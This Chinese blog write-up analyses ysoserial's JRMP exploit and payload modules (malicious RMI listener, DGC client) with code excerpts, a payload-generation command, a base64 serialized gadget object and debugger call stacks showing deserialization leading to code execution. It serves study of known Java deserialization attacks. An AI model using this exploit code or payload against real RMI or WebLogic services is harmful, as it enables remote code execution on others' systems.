Ysoserial-JRMP模块

前言

这里去看这个是因为在看weblogic的漏洞时用到了,当时没去学,现在补一下所以记录一下,需要的前置知识 就是RMI执行流程,这个自己前面也记录过,但是还是建议师傅们去看su18的,自己写的有点垃圾,不想看
https://su18.org/post/rmi-attack/#%E4%B8%89-%E6%80%BB%E7%BB%93 在贴一下su18师傅的总结。

1
2
3
4
5
6
7
8
9
10
1. RMI 客户端在调用远程方法时会先创建 Stub ( `sun.rmi.registry.RegistryImpl_Stub` )。
2. Stub 会将 Remote 对象传递给远程引用层 ( `java.rmi.server.RemoteRef` ) 并创建 `java.rmi.server.RemoteCall`( 远程调用 )对象。
3. RemoteCall 序列化 RMI 服务名称、Remote 对象。
4. RMI 客户端的远程引用层传输 RemoteCall 序列化后的请求信息通过 Socket 连接的方式传输到 RMI 服务端的远程引用层。
5. RMI服务端的远程引用层( `sun.rmi.server.UnicastServerRef` )收到请求会请求传递给 Skeleton ( `sun.rmi.registry.RegistryImpl_Skel#dispatch` )。
6. Skeleton 调用 RemoteCall 反序列化 RMI 客户端传过来的序列化。
7. Skeleton 处理客户端请求:bind、list、lookup、rebind、unbind,如果是 lookup 则查找 RMI 服务名绑定的接口对象,序列化该对象并通过 RemoteCall 传输到客户端。
8. RMI 客户端反序列化服务端结果,获取远程对象的引用。
9. RMI 客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
10. RMI 客户端反序列化 RMI 远程方法调用结果。

简介

JRMP是一个Java远程方法协议,该协议基于TCP/IP之上,RMI协议之下。也就是说RMI该协议传递时底层使用的是JRMP协议,而JRMP底层则是基于TCP传递。

RMI默认使用的JRMP进行传递数据,并且JRMP协议只能作用于RMI协议。当然RMI支持的协议除了JRMP还有IIOP协议,而在Weblogic里面的T3协议其实也是基于RMI去进行实现的。

环境搭建

在之前cc链子分析的时候介绍过怎么搭建Ysoserial工具,需要去下一个源码导入到IDEA中

然后在配置这里配置好参数即可,注意pom.xml中可能会有报错,也就是一些依赖没有下载下来我的解决办法时直接去另一个项目中把这些依赖都下载下来就可以了。

Exploit模块

JRMPListenr

运行之后就会弹出计算器,其实原理就是起一个恶意的注册中心,在客户端获取时返回一个恶意的序列化数据,客户端反序列化触发RCE。

原理分析

在ysoserial端打上断点看看是如何生成并发送的

这里会将端口和payload传入JRMPListener实例化然后调用run方法,那具体看看JRMPListener是如何定义的

这里其实没什么好看的就是把paylaod和端口传进来初始化了而已,去看看run方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
public void run () {
try {
Socket s = null;
try {
// 循环等待客户端连接
while ( !this.exit && ( s = this.ss.accept() ) != null ) {
try {
s.setSoTimeout(5000);
// 获取客户端的远程地址
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.err.println("Have connection from " + remote);
// 获取与客户端连接的输入流
InputStream is = s.getInputStream();
// 根据标志位,选择使用原始输入流还是BufferedInputStream
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);

// Read magic (or HTTP wrapper)
bufIn.mark(4);
// 用于从输入流中读取数据
DataInputStream in = new DataInputStream(bufIn);
int magic = in.readInt();

short version = in.readShort();
// 检查魔数和版本号是否匹配预期值,如果不匹配则关闭连接并继续下一次循环
if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {
s.close();
continue;
}
// 获取与客户端连接的输出流
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut);
// 从输入流中读取一个字节,表示协议类型
byte protocol = in.readByte();
switch ( protocol ) {
// 流协议
case TransportConstants.StreamProtocol:
// 向输出流写入一个字节作为协议确认
out.writeByte(TransportConstants.ProtocolAck);
// 向输出流写入客户端主机名
if ( remote.getHostName() != null ) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
// 向输出流写入客户端的端口
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
// 单操作协议
case TransportConstants.SingleOpProtocol:
// 调用此方法处理客户端请求,这里传入了payload
// 进入的是这里
doMessage(s, in, out, this.payloadObject);
break;
default:
// 多路复用协议
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();
continue;
}

bufOut.flush();
out.flush();
}
catch ( InterruptedException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
finally {
System.err.println("Closing connection");
s.close();
}

}

}
finally {
if ( s != null ) {
s.close();
}
if ( this.ss != null ) {
this.ss.close();
}
}

}
catch ( SocketException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
}

会进入 doMessage 方法

继续走到doCall方法中

最终会通过反射将恶意的payload写入输出流返回给客户端造成RCE。返回看客户端的断点

这里会接收从恶意注册端返回的数据进行反序列化,这里的2其实就是恶意注册端设置的TransportConstants.ExceptionalReturn

JRMPClient

他是用来主动攻击我们开启的DGC服务端的,看一下主要逻辑是makeDGCCall方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//传入目标RMI注册端(也是DGC服务端)的IP端口,以及攻击载荷的payload对象。
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
DataOutputStream dos = null;
try {
//建立一个socket通道,并为赋值
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
//读取socket通道的数据流
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
//*******开始拼接数据流*********
//以下均为特定协议格式常量,之后会说到这些数据是怎么来的
//传输魔术字符:0x4a524d49(代表协议)
dos.writeInt(TransportConstants.Magic);
//传输协议版本号:2(就是版本号)
dos.writeShort(TransportConstants.Version);
//传输协议类型: 0x4c (协议的种类,好像是单向传输数据,不需要TCP的ACK确认)
dos.writeByte(TransportConstants.SingleOpProtocol);
//传输指令-RMI call:0x50
dos.write(TransportConstants.Call);

@SuppressWarnings ( "resource" )
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
//DGC的固定读取格式,等会具体分析
objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
//选取DGC服务端的分支选dirty
objOut.writeInt(1); // dirty
//然后一个固定的hash值
objOut.writeLong(-669196253586618813L);
//我们的反序列化触发点
objOut.writeObject(payloadObject);

os.flush();
}
}

具体参考RMI反序列化部分的DGC攻击即可,在我们运行之后受害者端会走到一个dispatch方法中

dgc服务端会走到dispatch这个方法中

继续走到oldDispatch方法中

这里会继续走到服务端的dispatch中

这里会走到这里进行反序列化

payload模块

JRMPListener

这个payloda模块的原理其实就是如果存在一个反序列化的数据是我们可以控制的,那么这个模块生成的序列化数据传入进去反序列化之后会在受害者端开启一个rmi服务,此时我们在像该端口传入恶意的序列化数据即可达成攻击

1
java -jar ysoserial-all.jar ysoserial.payloads.JRMPListener  1099  | base64

这是用法,如果要分析原理可以写一个功能去反序列化这段数据跟踪调用过程就能发现就是在被控端开了一个rmi服务。然后在配合着Exploit模块的JRMPClient进行攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package com.ocean.zbz;  
import java.io.*;
import java.util.Base64;

public class SerializeUtil {
/**
* 将Base64编码的序列化字符串解码并反序列化为Java对象。
*
* @param base64EncodedObject Base64编码的序列化对象字符串。
* @param <T> 要反序列化的对象类型。
* @return 成功反序列化后的对象,如果解码或反序列化失败则返回 null。
*/
public static <T> T deserializeFromBase64(String base64EncodedObject) {
if (base64EncodedObject == null || base64EncodedObject.isEmpty()) {
System.err.println("错误:Base64 编码的字符串不能为空。");
return null;
}

try {
// 步骤1:Base64 解码
byte[] decodedBytes = Base64.getDecoder().decode(base64EncodedObject);

// 步骤2:反序列化字节数组为对象
try (ByteArrayInputStream bis = new ByteArrayInputStream(decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bis)) {
@SuppressWarnings("unchecked") // 编译器警告:类型转换是安全的,因为我们期望的是一个对象
T deserializedObject = (T) ois.readObject();
return deserializedObject;
}
} catch (IllegalArgumentException e) {
System.err.println("Base64 解码失败:无效的 Base64 字符串。");
e.printStackTrace();
} catch (IOException e) {
System.err.println("反序列化 IO 错误:" + e.getMessage());
e.printStackTrace();
} catch (ClassNotFoundException e) {
System.err.println("反序列化失败:找不到对应的类。请确保目标类在 classpath 中。");
e.printStackTrace();
} catch (ClassCastException e) {
System.err.println("反序列化类型转换失败:对象类型不匹配。");
e.printStackTrace();
}
return null;
}
public static void main(String[] args) {
String myBase64String = "rO0ABXNyACJzdW4ucm1pLnNlcnZlci5BY3RpdmF0aW9uR3JvdXBJbXBsT+r9SAwuMqcCAARaAA1ncm91cEluYWN0aXZlTAAGYWN0aXZldAAVTGphdmEvdXRpbC9IYXNodGFibGU7TAAHZ3JvdXBJRHQAJ0xqYXZhL3JtaS9hY3RpdmF0aW9uL0FjdGl2YXRpb25Hcm91cElEO0wACWxvY2tlZElEc3QAEExqYXZhL3V0aWwvTGlzdDt4cgAjamF2YS5ybWkuYWN0aXZhdGlvbi5BY3RpdmF0aW9uR3JvdXCVLvKwBSnVVAIAA0oAC2luY2FybmF0aW9uTAAHZ3JvdXBJRHEAfgACTAAHbW9uaXRvcnQAJ0xqYXZhL3JtaS9hY3RpdmF0aW9uL0FjdGl2YXRpb25Nb25pdG9yO3hyACNqYXZhLnJtaS5zZXJ2ZXIuVW5pY2FzdFJlbW90ZU9iamVjdEUJEhX14n4xAgADSQAEcG9ydEwAA2NzZnQAKExqYXZhL3JtaS9zZXJ2ZXIvUk1JQ2xpZW50U29ja2V0RmFjdG9yeTtMAANzc2Z0AChMamF2YS9ybWkvc2VydmVyL1JNSVNlcnZlclNvY2tldEZhY3Rvcnk7eHIAHGphdmEucm1pLnNlcnZlci5SZW1vdGVTZXJ2ZXLHGQcSaPM5+wIAAHhyABxqYXZhLnJtaS5zZXJ2ZXIuUmVtb3RlT2JqZWN002G0kQxhMx4DAAB4cHcSABBVbmljYXN0U2VydmVyUmVmeAAABEtwcAAAAAAAAAAAcHAAcHBw"; // 这是一个示例 Base64 字符串
Object o = SerializeUtil.deserializeFromBase64(myBase64String);
System.out.println(o);


}
}

然后跟一下

会走到UnicastRemoteObject类的ReadObject方法中,然后继续调用reexport()方法

这里就和前面分析rmi的流程很像就是创建一个服务

直接贴调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
readObject:297, HashSet (java.util)  
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
dispatch:-1, DGCImpl_Skel (sun.rmi.transport)
oldDispatch:410, UnicastServerRef (sun.rmi.server)
dispatch:268, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:790, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$256:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1052690258 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

原理就是上面说的开启rmi服务,然后我们在攻击服务端的DGC。

JRMPClient

这个链子的原理就是找到我们可以控制反序列化的点传入数据,然后受害端会去连接我们恶意的rmi服务端,返回恶意的序列化数据从而造成漏洞。

在反序列化这段数据之后,会走到DGC的dirty方法中

然后继续通过newCall向我们的恶意端发送请求

然后恶意端给返回恶意的序列化数据

在贴一下调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
getRuntime:58, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
transform:126, InvokerTransformer (org.apache.commons.collections.functors)
transform:123, ChainedTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
readObject:334, HashSet (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
access$300:206, ObjectInputStream (java.io)
readFields:2164, ObjectInputStream$GetFieldImpl (java.io)
readFields:541, ObjectInputStream (java.io)
readObject:71, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
executeCall:245, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:156, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
defaultReadFields:2000, ObjectInputStream (java.io)
readSerialData:1924, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
deserializeFromBase64:27, SerializeUtil (com.ocean.zbz)
main:47, SerializeUtil (com.ocean.zbz)